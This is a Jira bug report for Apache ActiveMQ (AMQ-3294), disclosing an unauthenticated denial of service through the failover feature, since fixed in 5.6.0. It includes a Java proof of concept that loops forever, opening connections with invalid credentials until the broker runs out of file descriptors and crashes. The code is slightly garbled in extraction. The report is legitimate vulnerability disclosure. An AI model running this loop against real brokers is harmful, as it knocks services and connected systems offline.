Uploaded image for project: 'ActiveMQ'
  1. ActiveMQ
  2. AMQ-3294

ActiveMQ failover Denial of Service

Attach filesAttach ScreenshotVotersWatch issueWatchersCreate sub-taskLinkCloneUpdate Comment AuthorReplace String in CommentUpdate Comment VisibilityDelete Comments


    • Type: Bug
    • Status: Resolved
    • Priority: Major
    • Resolution: Fixed
    • Affects Version/s: 5.2.0, 5.5.0
    • Fix Version/s: 5.6.0
    • Component/s: Broker
    • Labels:
    • Environment:

      Linux ubuntu 2.6.32-30-generic and other Linux versions


      Abusing the 'failover' feature in ActiveMQ, an unauthenticated user can trigger a Denial of Service condition against the broker service.

      In detail, an attacker can issue multiple ActiveMQ openwire connection requests using the following connection string: 

      Due to the 'failure' mechanism, all TCP connections remain active even if a valid session is not created.
      Please note that no valid credentials have been used.

      After a few thousand requests, a "java.net.SocketException: Too many open files" exception is triggered causing the freeze/crash of the broker. Connected systems may crash as well.

      During my test, the attack took around 4 minutes (in a local network) and it is highly reliable. This is most likely an abuse of the 'failover' functionality.

      I've been testing version 5.2.0 and also the latest 5.5.0 release. As both releases are affected, I assume that this issue is present in other versions as well. The problem appears in the default configuration as well as with different authentication plugins enabled.


      package openwireclient;

      import javax.jms.*;
      import org.apache.activemq.ActiveMQConnectionFactory;

      public class GoAndCrash {

      private static String url = "failover:tcp://";

      public static void main(String[] args) throws JMSException {

      System.out.println("\n--[ ActiveMQ Denial of Service PoC ]\n");

      url = url.concat(args[0] + ":" + args[1]);
      int cont = 0;

      while (true) {

      { System.out.println("[*] Request #" + cont); ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("invalidUser", "invalidPass", url); Connection connection = connectionFactory.createConnection(); cont++; connection.start(); }

      catch (Exception ex)

      { //do nothing }





            • Assignee:
              rajdavies Robert Davies
              luca.carettoni Luca Carettoni


              • Created:

                Issue deployment